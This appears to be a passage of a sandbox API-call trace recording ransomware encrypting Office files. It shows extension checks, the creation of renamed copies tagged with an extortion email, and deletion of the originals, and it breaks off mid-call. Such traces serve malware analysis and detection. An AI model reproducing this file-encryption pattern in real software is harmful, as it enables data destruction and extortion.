[0259.615] SetEndOfFile (hFile=0x360) returned 1 [0259.618] CloseHandle (hObject=0x360) returned 1 [0259.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 1 [0259.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0259.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0259.619] lstrlenW (lpString=".doc") returned 4 [0259.619] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.619] lstrlenW (lpString=".docx") returned 5 [0259.619] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0259.619] lstrlenW (lpString=".pdf") returned 4 [0259.619] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.619] lstrlenW (lpString=".xls") returned 4 [0259.619] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.620] lstrlenW (lpString=".xlsx") returned 5 [0259.620] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0259.620] lstrlenW (lpString=".ppt") returned 4 [0259.620] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0259.620] lstrlenW (lpString=".zip") returned 4 [0259.620] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.620] lstrlenW (lpString=".rar") returned 4 [0259.620] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.620] lstrlenW (lpString=".bz2") returned 4 [0259.620] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.620] lstrlenW (lpString=".7z") returned 3 [0259.620] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0259.620] lstrlenW (lpString=".dbf") returned 4 [0259.620] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0259.620] lstrlenW (lpString=".1cd") returned 4 [0259.620] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0260.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.829] lstrlenW (lpString=".jpg") returned 4 [0260.829] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0260.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.829] lstrlenW (lpString=".doc") returned 4 [0260.829] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0260.829] lstrlenW (lpString=".docx") returned 5 [0260.829] lstrcmpiW (lpString1=".docx", lpString2="K.FAE") returned -1 [0260.829] lstrlenW (lpString=".pdf") returned 4 [0260.829] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0260.829] lstrlenW (lpString=".xls") returned 4 [0260.829] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0260.830] lstrlenW (lpString=".xlsx") returned 5 [0260.830] lstrcmpiW (lpString1=".xlsx", lpString2="K.FAE") returned -1 [0260.830] lstrlenW (lpString=".ppt") returned 4 [0260.830] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.830] lstrlenW (lpString=".zip") returned 4 [0260.830] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0260.830] lstrlenW (lpString=".rar") returned 4 [0260.830] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0260.830] lstrlenW (lpString=".bz2") returned 4 [0260.830] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0260.830] lstrlenW (lpString=".7z") returned 3 [0260.830] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.830] lstrlenW (lpString=".dbf") returned 4 [0260.830] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.830] lstrlenW (lpString=".1cd") returned 4 [0260.830] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0260.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE") returned 61 [0260.830] lstrlenW (lpString=".jpg") returned 4 [0260.830] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0260.830] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0260.830] lstrlenW (lpString="DATAGATH.DLL") returned 12 [0260.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.500] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=594288) returned 1 [0261.500] CloseHandle (hObject=0x1f8) returned 1 [0261.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll")) returned 0x20 [0261.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\datagath.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.523] lstrlenW (lpString=".doc") returned 4 [0261.523] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.523] lstrlenW (lpString=".docx") returned 5 [0261.523] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0261.523] lstrlenW (lpString=".pdf") returned 4 [0261.523] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.523] lstrlenW (lpString=".xls") returned 4 [0261.523] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.523] lstrlenW (lpString=".xlsx") returned 5 [0261.523] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0261.523] lstrlenW (lpString=".ppt") returned 4 [0261.523] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.523] lstrlenW (lpString=".zip") returned 4 [0261.523] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.523] lstrlenW (lpString=".rar") returned 4 [0261.523] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.526] lstrlenW (lpString=".bz2") returned 4 [0261.526] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.526] lstrlenW (lpString=".7z") returned 3 [0261.526] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.526] lstrlenW (lpString=".dbf") returned 4 [0261.526] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.526] lstrlenW (lpString=".1cd") returned 4 [0261.526] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.526] lstrlenW (lpString=".jpg") returned 4 [0261.526] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.526] lstrlenW (lpString=".doc") returned 4 [0261.526] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.526] lstrlenW (lpString=".docx") returned 5 [0261.526] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0261.526] lstrlenW (lpString=".pdf") returned 4 [0261.526] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.526] lstrlenW (lpString=".xls") returned 4 [0261.527] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.527] lstrlenW (lpString=".xlsx") returned 5 [0261.527] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0261.527] lstrlenW (lpString=".ppt") returned 4 [0261.527] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.527] lstrlenW (lpString=".zip") returned 4 [0261.527] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.527] lstrlenW (lpString=".rar") returned 4 [0261.527] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.527] lstrlenW (lpString=".bz2") returned 4 [0261.527] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.527] lstrlenW (lpString=".7z") returned 3 [0261.527] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.527] lstrlenW (lpString=".dbf") returned 4 [0261.527] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.527] lstrlenW (lpString=".1cd") returned 4 [0261.527] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DATAGATH.DLL") returned 55 [0261.527] lstrlenW (lpString=".jpg") returned 4 [0261.527] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.527] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.527] lstrlenW (lpString="ACTIVITY.CFG") returned 12 [0261.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.528] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=968) returned 1 [0261.528] CloseHandle (hObject=0x1b8) returned 1 [0261.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 0x20 [0261.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.528] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.528] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.529] GetLastError () returned 0x0 [0261.529] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x3c8, lpOverlapped=0x0) returned 1 [0261.550] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x3d0, lpOverlapped=0x0) returned 1 [0261.551] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.551] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.551] SetEndOfFile (hFile=0x3c4) returned 1 [0261.551] CloseHandle (hObject=0x3c4) returned 1 [0261.551] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.551] SetEndOfFile (hFile=0x1b8) returned 1 [0261.553] CloseHandle (hObject=0x1b8) returned 1 [0261.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 1 [0261.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.779] lstrlenW (lpString=".doc") returned 4 [0261.779] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.779] lstrlenW (lpString=".docx") returned 5 [0261.779] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0261.779] lstrlenW (lpString=".pdf") returned 4 [0261.779] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.779] lstrlenW (lpString=".xls") returned 4 [0261.779] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.779] lstrlenW (lpString=".xlsx") returned 5 [0261.779] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0261.779] lstrlenW (lpString=".ppt") returned 4 [0261.779] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.779] lstrlenW (lpString=".zip") returned 4 [0261.779] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.779] lstrlenW (lpString=".rar") returned 4 [0261.779] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.779] lstrlenW (lpString=".bz2") returned 4 [0261.779] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.780] lstrlenW (lpString=".7z") returned 3 [0261.780] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString=".dbf") returned 4 [0261.780] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString=".1cd") returned 4 [0261.780] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString=".jpg") returned 4 [0261.780] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString=".doc") returned 4 [0261.780] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString=".docx") returned 5 [0261.780] lstrcmpiW (lpString1=".docx", lpString2="Y.CFG") returned -1 [0261.780] lstrlenW (lpString=".pdf") returned 4 [0261.780] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString=".xls") returned 4 [0261.780] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString=".xlsx") returned 5 [0261.780] lstrcmpiW (lpString1=".xlsx", lpString2="Y.CFG") returned -1 [0261.780] lstrlenW (lpString=".ppt") returned 4 [0261.780] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString=".zip") returned 4 [0261.780] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString=".rar") returned 4 [0261.780] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.780] lstrlenW (lpString=".bz2") returned 4 [0261.780] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.780] lstrlenW (lpString=".7z") returned 3 [0261.780] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.780] lstrlenW (lpString=".dbf") returned 4 [0261.781] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.781] lstrlenW (lpString=".1cd") returned 4 [0261.781] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG") returned 66 [0261.781] lstrlenW (lpString=".jpg") returned 4 [0261.781] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.781] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.781] lstrlenW (lpString="DISTLSTL.ICO") returned 12 [0261.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.812] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1078) returned 1 [0261.812] CloseHandle (hObject=0x1c0) returned 1 [0261.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 0x20 [0261.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0261.812] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.812] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.813] GetLastError () returned 0x0 [0261.813] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x436, lpOverlapped=0x0) returned 1 [0261.859] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0261.860] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0261.860] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.860] SetEndOfFile (hFile=0x1b8) returned 1 [0261.860] CloseHandle (hObject=0x1b8) returned 1 [0261.861] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0261.861] SetEndOfFile (hFile=0x1c0) returned 1 [0261.862] CloseHandle (hObject=0x1c0) returned 1 [0261.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 1 [0261.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.872] lstrlenW (lpString=".doc") returned 4 [0261.872] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.872] lstrlenW (lpString=".docx") returned 5 [0261.872] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.872] lstrlenW (lpString=".pdf") returned 4 [0261.872] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.872] lstrlenW (lpString=".xls") returned 4 [0261.872] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.872] lstrlenW (lpString=".xlsx") returned 5 [0261.872] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.872] lstrlenW (lpString=".ppt") returned 4 [0261.872] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.872] lstrlenW (lpString=".zip") returned 4 [0261.872] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.872] lstrlenW (lpString=".rar") returned 4 [0261.872] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.872] lstrlenW (lpString=".bz2") returned 4 [0261.872] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.872] lstrlenW (lpString=".7z") returned 3 [0261.872] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.872] lstrlenW (lpString=".dbf") returned 4 [0261.872] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.872] lstrlenW (lpString=".1cd") returned 4 [0261.872] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.872] lstrlenW (lpString=".jpg") returned 4 [0261.872] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0261.873] lstrlenW (lpString=".doc") returned 4 [0261.873] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.873] lstrlenW (lpString=".docx") returned 5 [0261.873] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0261.873] lstrlenW (lpString=".pdf") returned 4 [0261.873] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.873] lstrlenW (lpString=".xls") returned 4 [0261.873] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.873] lstrlenW (lpString=".xlsx") returned 5 [0261.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0261.873] lstrlenW (lpString=".ppt") returned 4 [0261.873] lstrcmpiW (lpString1=".ppt", 